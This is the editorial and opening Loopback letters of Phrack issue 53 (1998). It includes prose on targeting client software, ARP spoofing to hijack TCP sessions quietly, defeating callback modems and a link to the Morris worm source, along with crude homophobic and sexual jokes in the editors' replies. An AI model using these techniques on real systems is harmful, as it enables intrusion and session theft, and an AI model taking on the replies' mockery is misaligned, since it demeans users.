12231 lines
458 KiB
Plaintext
12231 lines
458 KiB
Plaintext
![]() |
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 01 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K 5 3 I N D E X
|
|||
|
|
|||
|
|
|||
|
--------[ Rumble in the Mumble
|
|||
|
|
|||
|
|
|||
|
More than 6 months have passed since our last offering. My most humble,
|
|||
|
sincere and heartfelt apologies. At long last, here we are. Better late then
|
|||
|
never, that's what I always say. Unless of course, the late version sucks,
|
|||
|
then I just like to disavow it entirely. Well, here we go again. Another
|
|||
|
Phrack issue to glorify behavior which would otherwise be classified as
|
|||
|
sociopathic or frankly psychotic (according to Mich Kabay). More of what you
|
|||
|
want, more of what you need. Technical articles on fanatically enticing
|
|||
|
topics, lines and lines of glorious source, another gut-busting installment of
|
|||
|
Loopback, and of course, the News. Mammas, don't let your babies grow up to
|
|||
|
be hackers. Or hookers for that matter.
|
|||
|
|
|||
|
Alright. Let's get down to business. Let's talk remote attack paradigms.
|
|||
|
Remote attack paradigms can fall into one of two types, based off of the
|
|||
|
standard client/server communication paradigm (we are glossing over any
|
|||
|
extensions to the model like client to client or server to server stuff). The
|
|||
|
two attack types are client to server (server-centric) and server to client
|
|||
|
(client-centric). Server-centric attacks are well known, understand and
|
|||
|
documented. Client-centric attacks are an area that is often overlooked, but
|
|||
|
is definitely fertile ground for exploitation. Below we look at both.
|
|||
|
|
|||
|
|
|||
|
----[ Server-Centricity
|
|||
|
|
|||
|
Historically, the vast majority of remote attacks have been server-centric.
|
|||
|
Server-centric, in this scope, refers to attacks that target server (or daemon)
|
|||
|
programs. A common (and frequently reoccurring) example is sendmail. The
|
|||
|
attack targets a server (the sendmail daemon) and approximates a client (the
|
|||
|
exploit program). There are several reasons why this has been the trend:
|
|||
|
|
|||
|
- Server programs typically run with elevated privileges. Server
|
|||
|
programs usually require certain system resources or access to special
|
|||
|
files that necessitate privilege elevation (of course we know this
|
|||
|
doesn't have to be the case; have a look at POSIX 6). A successful
|
|||
|
compromise could very well mean access to the target system at that
|
|||
|
(higher) privilege level.
|
|||
|
|
|||
|
- Discretion is the attacker's whim. The client/server message paradigm
|
|||
|
specifies that a server provides a service that a client may request.
|
|||
|
Servers exist to process clientele requests. As per this model, the
|
|||
|
attacker (client) makes a request (attack) to any server offering
|
|||
|
the service and may do so at any point.
|
|||
|
|
|||
|
- Client codebase is usually simple. Dumb client, smart server. The
|
|||
|
impact of this is two-fold. The fact that server code tends to be
|
|||
|
more complex means that it is tougher to audit from a security
|
|||
|
stand-point. The fact that client code is typically smaller and less
|
|||
|
complex means that exploitation code development time is reduced.
|
|||
|
|
|||
|
- Code reuse in exploitation programs. Client-based exploitation code
|
|||
|
bases are often quite similar. Code such as packet generators and
|
|||
|
buffer overflow eggs are often reused. This further cuts down on
|
|||
|
development time and also reduces required sophistication on the part
|
|||
|
of the exploit writer.
|
|||
|
|
|||
|
All of these make server-centric attacks enticing. The ability to
|
|||
|
selectively choose a program to attack running with elevated privileges and
|
|||
|
quickly write up exploit code for it is a powerful combination. It is easy to
|
|||
|
see why this paradigm has perpetuated itself so successfully. However, up
|
|||
|
until recently it seems another potentially lucrative area of exploitation has
|
|||
|
gone all but overlooked.
|
|||
|
|
|||
|
|
|||
|
----[ Client-Centricity
|
|||
|
|
|||
|
An often neglected area of exploitation is the exact reverse of the above:
|
|||
|
client-centricity. Client-centric attacks target client programs (duh). The
|
|||
|
types of programs in this category include: web browsers (which have seen more
|
|||
|
then their share of vulnerabilities) remote access programs, DNS resolvers and
|
|||
|
IRC clients (to name a few). The benefits of this attack model are as follows:
|
|||
|
|
|||
|
- Automated (non-discretionary) attacks. We know that, under the
|
|||
|
previous paradigm, the attacker has complete autonomy over who s/he
|
|||
|
attacks. The benefit there is obvious. However, non-discretionary
|
|||
|
attacking implies that the attacker doesn't even have to be around
|
|||
|
when the attack takes place. The attacker can set up the server
|
|||
|
containing the exploit and actually go do something useful (tm).
|
|||
|
|
|||
|
- Wide dispersement. With client-centric attacks you can gain a wider
|
|||
|
audience. If a server contains a popular service, people from all over
|
|||
|
will seek it out. Popular websites are constantly bombarded with
|
|||
|
clientele. Another consideration: server programs often run in
|
|||
|
filtered environments. It may not be possible for an attacker to
|
|||
|
connect to a server. This is rarely the case in client-centric
|
|||
|
attacks.
|
|||
|
|
|||
|
- Client codebase not developed with security in mind. If you think
|
|||
|
server code is bad, you should see some client code. Memory leaks and
|
|||
|
stack overruns are all too common.
|
|||
|
|
|||
|
- Largely an untapped resource. There are so many wonderful holes
|
|||
|
waiting to be discovered. Judging at how successful people have been
|
|||
|
in finding and exploiting holes in server code, it goes to figure that
|
|||
|
the same success can be had in client code. In fact, if you take into
|
|||
|
account the fact that the codebase is largely unaudited from a
|
|||
|
security perspective, the yields should be high.
|
|||
|
|
|||
|
For all the above reasons, people wanting to find security holes should
|
|||
|
be definitely be looking at client programs. Now go break telnet.
|
|||
|
|
|||
|
|
|||
|
Enjoy the magazine. It is by and for the hacking community. Period.
|
|||
|
|
|||
|
|
|||
|
-- Editor in Chief ----------------[ route
|
|||
|
-- Phrack World News --------------[ disorder
|
|||
|
-- Phrack Publicity ---------------[ dangergirl
|
|||
|
-- Phrack Librarian ---------------[ loadammo
|
|||
|
-- Soother of Typographical Chaos -[ snocrash
|
|||
|
-- Hi! I'm an idiot! -------------[ Carolyn P. Meinel
|
|||
|
-- The Justice-less Files ---------[ Kevin D. Mitnick (www.kevinmitnick.com)
|
|||
|
-------- Elite --------------------> Solar Designer
|
|||
|
-- More money than God ------------[ The former SNI
|
|||
|
-- Tom P. and Tim N. -------------[ Cool as ice, hot as lava.
|
|||
|
-- Official Phrack Song -----------[ KMFDM/Megalomaniac
|
|||
|
-- Official Phrack Tattoo artist --[ C. Nalla Smith
|
|||
|
-- Shout Outs and Thank Yous ------[ haskell, mudge, loadammo, nihilis, daveg,
|
|||
|
-----------------------------------| halflife, snocrash, apk, solar designer,
|
|||
|
-----------------------------------| kore, alhambra, nihil, sluggo, Datastorm,
|
|||
|
-----------------------------------| aleph1, drwho, silitek
|
|||
|
|
|||
|
|
|||
|
Phrack Magazine V. 8, #53, xx xx, 1998. ISSN 1068-1035
|
|||
|
Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved. Nothing
|
|||
|
may be reproduced in whole or in part without written permission from the
|
|||
|
editor in chief. Phrack Magazine is made available quarterly to the public,
|
|||
|
free of charge. Go nuts people.
|
|||
|
|
|||
|
Contact Phrack Magazine
|
|||
|
-----------------------
|
|||
|
Submissions: phrackedit@phrack.com
|
|||
|
Commentary: loopback@phrack.com
|
|||
|
Editor in Chief: route@phrack.com
|
|||
|
Publicist: dangergrl@phrack.com
|
|||
|
Phrack World News: disorder@phrack.com
|
|||
|
Submissions to the above email address may be encrypted with the following key:
|
|||
|
|
|||
|
-----BEGIN PGP PUBLIC KEY BLOCK-----
|
|||
|
Version: 2.6.2
|
|||
|
|
|||
|
mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
|
|||
|
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
|
|||
|
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
|
|||
|
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
|
|||
|
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
|
|||
|
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu
|
|||
|
Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
|
|||
|
=1iyt
|
|||
|
-----END PGP PUBLIC KEY BLOCK-----
|
|||
|
|
|||
|
As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out
|
|||
|
plaintext. You certainly can subscribe in plaintext.
|
|||
|
|
|||
|
phrack:~# head -20 /usr/include/std-disclaimer.h
|
|||
|
/*
|
|||
|
* All information in Phrack Magazine is, to the best of the ability of the
|
|||
|
* editors and contributors, truthful and accurate. When possible, all facts
|
|||
|
* are checked, all code is compiled. However, we are not omniscient (hell,
|
|||
|
* we don't even get paid). It is entirely possible something contained
|
|||
|
* within this publication is incorrect in some way. If this is the case,
|
|||
|
* please drop us some email so that we can correct it in a future issue.
|
|||
|
*
|
|||
|
*
|
|||
|
* Also, keep in mind that Phrack Magazine accepts no responsibility for the
|
|||
|
* entirely stupid (or illegal) things people may do with the information
|
|||
|
* contained here-in. Phrack is a compendium of knowledge, wisdom, wit, and
|
|||
|
* sass. We neither advocate, condone nor participate in any sort of illicit
|
|||
|
* behavior. But we will sit back and watch.
|
|||
|
*
|
|||
|
*
|
|||
|
* Lastly, it bears mentioning that the opinions that may be expressed in the
|
|||
|
* articles of Phrack Magazine are intellectual property of their authors.
|
|||
|
* These opinions do not necessarily represent those of the Phrack Staff.
|
|||
|
*/
|
|||
|
|
|||
|
-------------------------[ T A B L E O F C O N T E N T S
|
|||
|
|
|||
|
1 Introduction Phrack Staff 11K
|
|||
|
2 Phrack Loopback Phrack Staff 33K
|
|||
|
3 Line Noise various 51K
|
|||
|
4 Phrack Prophile on Glyph Phrack Staff 18K
|
|||
|
5 An Overview of Internet Routing krnl 50K
|
|||
|
6 T/TCP Vulnerabilities route 17K
|
|||
|
7 A Stealthy Windows Keylogger markj8 25K
|
|||
|
8 Linux Trusted Path Execution redux K. Baranowski 23K
|
|||
|
9 Hacking in Forth mudge 15K
|
|||
|
10 Interface Promiscuity Obscurity apk 24K
|
|||
|
11 Watcher, NIDS for the masses hacklab 32K
|
|||
|
12 The Crumbling Tunnel Aleph1 52K
|
|||
|
13 Port Scan Detection Tools Solar Designer 25K
|
|||
|
14 Phrack World News Disorder 95K
|
|||
|
15 extract.c Phrack Staff 11K
|
|||
|
|
|||
|
482K
|
|||
|
|
|||
|
-----------------------------------------------------------------------------
|
|||
|
|
|||
|
" The advent of information availability and a rise in the number people
|
|||
|
for whom the net has always been 'the norm' is producing a class of users
|
|||
|
who cannot think for themselves. As reliance upon scripted attacks
|
|||
|
increases, the number of people who personally possess technical knowledge
|
|||
|
decreases. "
|
|||
|
|
|||
|
-----------------------------------------------------------------------------
|
|||
|
|
|||
|
----[ EOF
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 02 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ P H R A C K 53 L O O P B A C K
|
|||
|
|
|||
|
|
|||
|
--------[ Phrack Staff
|
|||
|
|
|||
|
|
|||
|
|
|||
|
[ Ed. note: The letters are perhaps editted for format, but generally not for
|
|||
|
grammar and/or spelling. I try not to correct the vernacular, as it often
|
|||
|
adds a colorful perspective to the letter in question. ]
|
|||
|
|
|||
|
0x1>--------------------------------------------------------------------------
|
|||
|
|
|||
|
[ P52-02@0xd: ... Something you've mailed to a whiley bunch... ]
|
|||
|
|
|||
|
I couldn't help but notice your use of "whiley" rather than the more common
|
|||
|
English word "wily" in the above-quoted paragraph. In the future, take the
|
|||
|
time to grammar and spell check your replies to minimize the emotional
|
|||
|
damage you are bound to suffer.
|
|||
|
--Bob Stratton
|
|||
|
|
|||
|
[ WHOA! My bad. Strat has caught me with my proverbial pants around my
|
|||
|
proverbial ankles. Further evidence towards me - not - being
|
|||
|
omnisicient argument (although I still believe this to be conjecture). ]
|
|||
|
|
|||
|
P.S. Thanks for the sensible code-formatting discussion. Your style sounds
|
|||
|
a lot like that which kept me sane back when I earned my living writing
|
|||
|
code. The enlightened person's answer, of course, is to use an Emacs minor
|
|||
|
mode, and to let the editor do the work while one types. Emacs is also the
|
|||
|
answer to the Windoze 95 junkie looking for something with which to read
|
|||
|
Phrack. Works for me.
|
|||
|
|
|||
|
[ Amen. Except for the emacs part. pico with regexp or vim 5.0 with
|
|||
|
syntax highlighting is the way to go. ]
|
|||
|
|
|||
|
0x2>--------------------------------------------------------------------------
|
|||
|
|
|||
|
[ P52-09: On the Morality of Phreaking ]
|
|||
|
|
|||
|
Dear Phrack,
|
|||
|
|
|||
|
I am not a hacker nor a hacker wannabe, so I had only the most passing
|
|||
|
acquaintance with your publication. However, today by chance I came across
|
|||
|
this article in your January 26 issue.
|
|||
|
|
|||
|
I am impressed. I did my MA in philosophy, and I was quite nonplussed to see
|
|||
|
such a lucid and philosophical point of view in what is, to my understanding,
|
|||
|
a very specialized publication not typically devoted to philosophy. Though my
|
|||
|
areas of interest were mainly Nietzsche and Deleuze, I found your summary of
|
|||
|
both Mill and Kant to be accurate and well-applied. Kudos, you obviously have
|
|||
|
some very intelligent people on staff, whose talents are not limited to your
|
|||
|
own area of expertise.
|
|||
|
|
|||
|
Yours respectfully,
|
|||
|
Sean Saraq
|
|||
|
Toronto
|
|||
|
|
|||
|
[ High praise indeed! Thank you for the compliments. It's good to see
|
|||
|
we're read in communities other then that of our target demographic. ]
|
|||
|
|
|||
|
0x3>--------------------------------------------------------------------------
|
|||
|
|
|||
|
I can't believe you included article 12 in Phrack 50. Is Phrack really
|
|||
|
getting so sad? Have you really got nothing better to publish than
|
|||
|
regurgitated crypto babble?
|
|||
|
|
|||
|
[ Despite what you may think, we are not sad. The phrack compound is
|
|||
|
imbibed with much conviviality and festivity. Why, every Friday is
|
|||
|
`punch a mime day`. We hire a mime to come down to the office and we
|
|||
|
all take turns punching him in the face. ]
|
|||
|
|
|||
|
Cheers, Chris (XORed that's Fghyud)
|
|||
|
|
|||
|
[ That's not a very good XOR implementation you have there. It appears
|
|||
|
an extraneous character has been inserted. Check your pad or the stream
|
|||
|
cipher. Or perhaps check your other regurgitated crypto babble for more
|
|||
|
info. ]
|
|||
|
|
|||
|
0x4>--------------------------------------------------------------------------
|
|||
|
|
|||
|
For those readers interested in "Piercing Firewalls" (Phrack Issue 52)
|
|||
|
take a look at datapipe.c available at www.rootshell.com. I can't think
|
|||
|
of any way to make it work with X, like tunnel/portal, but it works fine
|
|||
|
with telnet and nothing needs to be running outside the firewall.
|
|||
|
|
|||
|
ziro antagonist
|
|||
|
|
|||
|
[ Noted. ]
|
|||
|
|
|||
|
0x5>--------------------------------------------------------------------------
|
|||
|
|
|||
|
Okay, enough nagging about the Milla pics!
|
|||
|
|
|||
|
The one thing everyone reading Phrack wants to know is:
|
|||
|
When will you publish nude pictures of dangergrl ???
|
|||
|
|
|||
|
[ When your mom gives them back. ]
|
|||
|
|
|||
|
Yours Sincerely,
|
|||
|
-anonymous. (i get kicked from #hack enuf as it is already :)
|
|||
|
|
|||
|
[ What a suprise. ]
|
|||
|
|
|||
|
0x6>--------------------------------------------------------------------------
|
|||
|
|
|||
|
While the Juggernaut program is interesting, I've found that its model for
|
|||
|
session stealing is a tad limited. There are two issues, one of which I've
|
|||
|
dealt with. First issue is the one packet read, one packet written paradigm.
|
|||
|
It really should allow separate threads for read/write to avoid getting
|
|||
|
easily out of synch. This I've not dealt with, but it is understandable given
|
|||
|
the second, the ACK storms it creates.
|
|||
|
|
|||
|
[ Juggernaut 1.x is very primitive in many ways. Juggernaut++, the next
|
|||
|
generation juggernaut, has been mostly redesigned from the ground up
|
|||
|
with a 90% new code base. It has many things the previous versions
|
|||
|
lacked, including: a much better interface, threading for concurency,
|
|||
|
portability, effcicieny mods, and many bugfixes. ]
|
|||
|
|
|||
|
The ACK storms can be avoided with an ARP attack (or possibly an ICMP
|
|||
|
redirect). Send an ARP message to the source of the connection you're
|
|||
|
stealing (an ARP reply) which tells it that the ethernet address of the
|
|||
|
machine it's talking to (the destination machine, which you want to talk to
|
|||
|
instead) is something "off in space" like 2:3:4:5:6:7 instead of the real
|
|||
|
address. This needs to be done fairly often, should be started immediately
|
|||
|
before you start your hijack attack.
|
|||
|
|
|||
|
[ Indeed. As long the host will accept and cache unsolicited ARP
|
|||
|
responses, this will work. ]
|
|||
|
|
|||
|
The result is that the machine you are intercepting becomes unable to talk to
|
|||
|
the destination and won't desynch the session, and traffic goes to practically
|
|||
|
nothing. After you stop, the ARP table will shortly expire and be updated
|
|||
|
with correct information, so the attack will either appear as a network
|
|||
|
glitch, or you'll get alerted (NT will alert) that an IP address conflict
|
|||
|
exists (but tell nothing about what the conflict is with). Moreover, an ARP
|
|||
|
reply will escape the notice of many network monitoring programs.
|
|||
|
|
|||
|
[ Something like this has in fact been implemented in juggernaut++...
|
|||
|
And, just to answer the burning question I get asked so often, NO, J++
|
|||
|
is NOT publically available. ]
|
|||
|
|
|||
|
I have sent the code to the original author of Juggernaut (being inclined to
|
|||
|
share knowledge) and wanted to alert you.
|
|||
|
|
|||
|
[ The original author of juggernaut and I are pretty close. I'll be shure
|
|||
|
to check with him. ]
|
|||
|
|
|||
|
0x7>--------------------------------------------------------------------------
|
|||
|
|
|||
|
Hi! My name is StiN.
|
|||
|
|
|||
|
[ Mine's route. ]
|
|||
|
|
|||
|
I'm from Russia.
|
|||
|
|
|||
|
[ I'm from the U.S. ]
|
|||
|
|
|||
|
Sorry for my bad English.
|
|||
|
|
|||
|
[ Sorry for my bad russian, comrade. ]
|
|||
|
|
|||
|
I Have a friend His name is Armany.
|
|||
|
|
|||
|
[ I have a friend named Gilgamesh. ]
|
|||
|
|
|||
|
Where do you live?
|
|||
|
|
|||
|
[ I live in a small one bedroom aprartment with four cats. ]
|
|||
|
|
|||
|
How old are you?
|
|||
|
|
|||
|
[ 19. ]
|
|||
|
|
|||
|
What's yore name?
|
|||
|
|
|||
|
[ We already went over this. ]
|
|||
|
|
|||
|
What's yore Hobby?
|
|||
|
|
|||
|
[ Volunteering for free medical tests of any variety. ]
|
|||
|
|
|||
|
Do you knew Russia?
|
|||
|
|
|||
|
[ I KNEW RUSSIA BACK IN THE GOOD OLE' DAYS! Back before the collapse. ]
|
|||
|
|
|||
|
Good Bay.
|
|||
|
|
|||
|
[ Bad Bay: Bay of Pigs. Good bay: Bay of jello. ]
|
|||
|
|
|||
|
0x8>--------------------------------------------------------------------------
|
|||
|
|
|||
|
Hola, soy Omar
|
|||
|
|
|||
|
Soy un fan<61>tico de su revista, la sigo desde la phrack 48.
|
|||
|
No soy un hacker, phreaker, o cualquier cosa, soy m<>s un fan<61>tico de las
|
|||
|
malditas m<>quinas.
|
|||
|
Muy buenos art<72>culos; gracias por las cosas de LINUX (me fueron de mucha
|
|||
|
utilidad)
|
|||
|
|
|||
|
Suerte y sigan as<61>.
|
|||
|
Saludos de Uruguay. South Am<41>rica.
|
|||
|
|
|||
|
[ Yo quiero taco bell. ]
|
|||
|
|
|||
|
0x9>--------------------------------------------------------------------------
|
|||
|
|
|||
|
hi,
|
|||
|
|
|||
|
where can i find the source code for the legendary internet worm by
|
|||
|
morris (1988) ?
|
|||
|
|
|||
|
thanx (i hope u dudez can help me :( )
|
|||
|
|
|||
|
[ ftp://idea.sec.dsi.unimi.it/pub/crypt/code/worm_src.tar.gz ]
|
|||
|
|
|||
|
0xa>--------------------------------------------------------------------------
|
|||
|
|
|||
|
My friends were going to a basketball game at their gay school (Grades
|
|||
|
|
|||
|
[ Wow, they have gay schools now? Do they videotape you jerking off
|
|||
|
and looking completely gay and stupid? (http://www.leisuretown.com) ]
|
|||
|
|
|||
|
pre-school through 8th grade). They were wearing their wallet chains,
|
|||
|
not causing any harm with them. (It was an after school activity) the
|
|||
|
|
|||
|
[ As opposed to those people who have the wallet-chain/morning-stars.
|
|||
|
They are the ones who cause all that wallet-chain inflicted harm. ]
|
|||
|
|
|||
|
teachers made them take them off. My friend, Krazy K, asked if he could
|
|||
|
|
|||
|
[ Krazy K? Any relation to Daft D? ]
|
|||
|
|
|||
|
take off the chain and keep the wallet, but they made him give them the
|
|||
|
whole thing. He thought it was funny, though, especially since he had
|
|||
|
condomes in it (It is a "christian" school). Not that he was going to
|
|||
|
|
|||
|
[ Condomes! The condom that's a tent! ]
|
|||
|
|
|||
|
use them. They of course being the nosy bastards that they are, rummaged
|
|||
|
around in it to their liking and found them. (We know because they
|
|||
|
talked to him about it.
|
|||
|
|
|||
|
[ Good detective work. ]
|
|||
|
|
|||
|
He told them it was a joke he was going to do to his friend. "I was going to
|
|||
|
put it in his locker" He said.)
|
|||
|
|
|||
|
[ Now *that's* good humor. ]
|
|||
|
|
|||
|
I was wondering about the legality of this whole thing. Is it legal
|
|||
|
|
|||
|
[ Perhaps you should wonder about the stupidity of the whole thing first,
|
|||
|
then work your way towards relevance, and then back to stupidity again. ]
|
|||
|
|
|||
|
to take someones wallet and chain (Which I consider personal property)
|
|||
|
when it is an after school activity and then look through it? They gave
|
|||
|
|
|||
|
[ *shrug* Sure is fun though, isn't it? Actually, I don't know the laws
|
|||
|
and regulations of gay schools. It just might be allowed. ]
|
|||
|
|
|||
|
him no alternative (but to go home, and, "Oh by the way, you can't use
|
|||
|
the phone"). Then to search through the wallet without permission of the
|
|||
|
owner? I am asking because, I would like to get them in trouble, In
|
|||
|
retaliation to the many times I've been screwed there (I go to high
|
|||
|
|
|||
|
[ Been screwed at the gay school? Hmm. Did you have any condomes? ]
|
|||
|
|
|||
|
school now, thank God). If you could tell me, or know of someone who
|
|||
|
knows, then that would help us.
|
|||
|
|
|||
|
Thanks,
|
|||
|
|
|||
|
Abs0lute Zer0
|
|||
|
|
|||
|
[ You can say that again. ]
|
|||
|
|
|||
|
0xb>--------------------------------------------------------------------------
|
|||
|
|
|||
|
Dear Editor,
|
|||
|
|
|||
|
I would like to take a chance to give my most sincere thanks for
|
|||
|
resurrecting my uttermost respect to the humanity (so often shattered by
|
|||
|
politicians and other freaks) by providing me a unique opportunity to
|
|||
|
immerse myself into the deep wisdom and magic of written word found in the
|
|||
|
Line Noise section. This is truly the place where one can look for (with a
|
|||
|
sense of deep confidence) a genuine proof that every person is a genius on
|
|||
|
the inside.
|
|||
|
|
|||
|
[ Well thank you very much. Although I think you are refering to
|
|||
|
loopback. ]
|
|||
|
|
|||
|
Driven by this wonderful feeling of replenished hope and respect, I'd like
|
|||
|
to answer a cry for help from a young but talented Hacker Demonhawk, who
|
|||
|
expressed a wish to "blow shit up!!". I used to be a chemist, and I would
|
|||
|
|
|||
|
[ Ummm... ]
|
|||
|
|
|||
|
like to share, in the spirit of the magazine, my knowledge and provide easy,
|
|||
|
quick instructions for young fighting souls that would assist them in the
|
|||
|
aforementioned noble cause. In other words, how to build a bomb.
|
|||
|
|
|||
|
[ Whoops. You just lost me there. ]
|
|||
|
|
|||
|
{ rest of message truncated due to overwhelming levels of inanity ... }
|
|||
|
|
|||
|
0xc>--------------------------------------------------------------------------
|
|||
|
|
|||
|
where would one go to get "private" hacker help?
|
|||
|
|
|||
|
[ In the back where they give the lapdances. ]
|
|||
|
|
|||
|
0xd>--------------------------------------------------------------------------
|
|||
|
|
|||
|
sorry to bother ya...
|
|||
|
i was hoping maybe you could give me some info. don't take me for a complete
|
|||
|
idiot,
|
|||
|
|
|||
|
[ Uh oh. ]
|
|||
|
|
|||
|
i just don't know much about this kind of stuff.
|
|||
|
maybe u could get me started... give a few tips???
|
|||
|
|
|||
|
[ Sure. Never kiss on the first date. Always pack an extra pair of
|
|||
|
socks AND underwear. Never put electrity in your mouth 'just to see
|
|||
|
what would happen'. Also, if you happen to find yourself in the
|
|||
|
position, always at least *ask* to give someone the reach-around; it's
|
|||
|
common courtesy. ]
|
|||
|
|
|||
|
0xe>--------------------------------------------------------------------------
|
|||
|
|
|||
|
Hello,
|
|||
|
My name is Robert I guess you could call me a beginner hacker I I was
|
|||
|
wondering if you could please help me out I need some hacking numbers and
|
|||
|
|
|||
|
[ Ok. 7, 9, 11, 43, and 834. ]
|
|||
|
|
|||
|
passwords just so I can play around on them and get good. Also if you have
|
|||
|
|
|||
|
[ Sure. Try `password`, `hacker12`, `pickle`, and `love`. ]
|
|||
|
|
|||
|
any files or anything that you think that would be helpful to me please attach
|
|||
|
|
|||
|
[ Alright, /dev/random is a good one to start with. ]
|
|||
|
|
|||
|
or tell me where I can get them. I just bought the book Secerts Of A Super
|
|||
|
Hacker By Knightmare is that any good if there is any books I should get
|
|||
|
|
|||
|
[ Ah yes, the book of the truly desperate and depraved. As was said once
|
|||
|
before by Voayger, Knightmare's biggest hack was getting that book
|
|||
|
actually published. ]
|
|||
|
|
|||
|
please tell me or if you have any text please send. I am running windows 95
|
|||
|
|
|||
|
[ Can you put Windows 95 in your mouth? NO! Such is Mango! ]
|
|||
|
|
|||
|
Thanks For Ur Time
|
|||
|
Robert
|
|||
|
|
|||
|
0xf>--------------------------------------------------------------------------
|
|||
|
|
|||
|
Dear Sir
|
|||
|
I like you hacker people because you made life easy
|
|||
|
to a lot of people
|
|||
|
|
|||
|
[ Especially the makers of fine Bavarian shoe-horns. ]
|
|||
|
|
|||
|
I want to ask you an important question to me
|
|||
|
When connecting to Internet, I found that some sites inform me with my ISP IP#
|
|||
|
|
|||
|
So if they're any possibility that any site can track me
|
|||
|
and identify the following
|
|||
|
1-what country I came from?
|
|||
|
|
|||
|
[ Well; if you're dialing up to your ISP, and connecting to 'sites' from
|
|||
|
there, that would be a one hop jump out to the world. And yes; they
|
|||
|
could find out what country you're coming from, unless you're dialed
|
|||
|
into a provider in another country. In which case; it might be a little
|
|||
|
more difficult. The other tipoff is when you scan in your birth
|
|||
|
certificate and put it up on your webpage along side your current
|
|||
|
address and a head shot.
|
|||
|
|
|||
|
That's a 'no-no'. ]
|
|||
|
|
|||
|
2-what is my phone number?
|
|||
|
|
|||
|
[ Are you asking us if we know your number? Or if someone can find your
|
|||
|
number when you connect to their machine and they know your IP address?
|
|||
|
I'm confused, so I'll answer the question both ways.
|
|||
|
|
|||
|
A-1: No. We don't know your number, and we don't want it. While we're
|
|||
|
at it. We don't want to make out with you either. Quit sending us the
|
|||
|
flowers. It's over this time once and for all.
|
|||
|
|
|||
|
A-2: If you did something that would incite someone to try to find your
|
|||
|
phone number; odds are if it was an illegal action your ISP would gladly
|
|||
|
hand your information to the first law enforcement person who walked
|
|||
|
through the door. Or for that matter, anyone who asks nicely. ISPs
|
|||
|
aren't exactly known for being well guarded vaults of information. ]
|
|||
|
|
|||
|
Globally can any site by coordination with my ISP track me and catch me?
|
|||
|
|
|||
|
[ Ever hear of Kevin Mitnick? ]
|
|||
|
|
|||
|
Please provide me with a full answer quickly.
|
|||
|
|
|||
|
[ Do people not realize this is a quarterly magazine? Quick for us is
|
|||
|
3 months. If you've done something stupid and gotten busted; our
|
|||
|
sincerest apologies for being late. Next time we'll drop what we're
|
|||
|
doing and get right to it. ]
|
|||
|
|
|||
|
0x10>-------------------------------------------------------------------------
|
|||
|
|
|||
|
I am a Indiana University student currently studying Criminal Justice. I am
|
|||
|
trying to gather data and find information concerning computer hacking and
|
|||
|
governmental and/or corporate involvement. The twist that I am persuing
|
|||
|
concerns a rumor that I had heard. I was told that when some computer
|
|||
|
hackers were caught, they were recruited by the government and/or
|
|||
|
corporations to work in their security department. Usually where there is a
|
|||
|
rumor, there is some truth to the matter, especially when concerning the
|
|||
|
department of defense. I don't know if you could help me find information
|
|||
|
concerning this issue. Any help would be greatly appreciated.
|
|||
|
|
|||
|
Respectfully,
|
|||
|
Jason Sturgeon
|
|||
|
|
|||
|
[ Well... We at Phrack haven't heard anything about the DoD hiring
|
|||
|
'hackers', it's been our understanding that the government at least
|
|||
|
prefers straight laced guys with military background to handle their
|
|||
|
stuff. Although it's not out of the realms of possibility that they've
|
|||
|
hired 'hackers', if it's happened it's of rare occurance, and those
|
|||
|
individuals who fit the title of 'hacker' probably don't conform to your
|
|||
|
definition of what a 'hacker' really is..
|
|||
|
|
|||
|
Corporations and The Government for the most part tend to shy away from
|
|||
|
'hackers', if merely for the stigma of being a 'hacker'. But as a
|
|||
|
stereotype, hackers conjur up all sorts of bad mental images for
|
|||
|
respectable management types. We're sure it's happened to some capacity,
|
|||
|
but we have no witty anticdotes concerning it. ]
|
|||
|
|
|||
|
0x11>-------------------------------------------------------------------------
|
|||
|
|
|||
|
Hello there
|
|||
|
|
|||
|
I have heard there are some risks using callback modems.
|
|||
|
Can you give me some more info on this, or info where to look
|
|||
|
|
|||
|
[ Risks of callback modems are fairly simple. The problems involved with
|
|||
|
them are a little bit more complex. We'll discuss both in an effort to
|
|||
|
best cover this subject. The overall fundamental flaw of callback
|
|||
|
modems is the idea that you could 'fake' a hang-up on your end, or play
|
|||
|
a dialtone in an effort to fool the modem into thinking it hung up. Then
|
|||
|
you wait for it to dial the number, and once it's done, 'ATA' your modem
|
|||
|
and pick up the carrier.
|
|||
|
|
|||
|
We ourselves have tested this a couple times with moderate success, it's
|
|||
|
not 100% accurate, and it also depends on the hardware on the remote
|
|||
|
side.
|
|||
|
|
|||
|
If the call-back information is based of ANI, that could provide more
|
|||
|
problems, since the Phrack staff has heard the rumor that you can fake
|
|||
|
ANI with certian types of ISDN set-ups.
|
|||
|
|
|||
|
The two types of callback modem configurations, one being a program that
|
|||
|
acts as a frontend to the dialing mechanism, the other being hardware
|
|||
|
based.
|
|||
|
|
|||
|
Such as, you dial in to the modem, the program asks you to authenticate
|
|||
|
yourself by some means, you do so; it hangs up and calls the number
|
|||
|
that's paired with your authenication information. This isn't so bad,
|
|||
|
but if anyone remembers back when certian BBSs had callback that you
|
|||
|
could enter, you could make them call arbitrary phone numbers by putting
|
|||
|
in a fake number if their door was misconfigured.
|
|||
|
|
|||
|
As far as hardware based call-back, whence you program the passwords and
|
|||
|
numbers into the modem and it deals with the whole transaction,
|
|||
|
introduces a scalability issue as well as the fact that the modem has no
|
|||
|
means to log on it's own, etc.. etc.. etc.
|
|||
|
|
|||
|
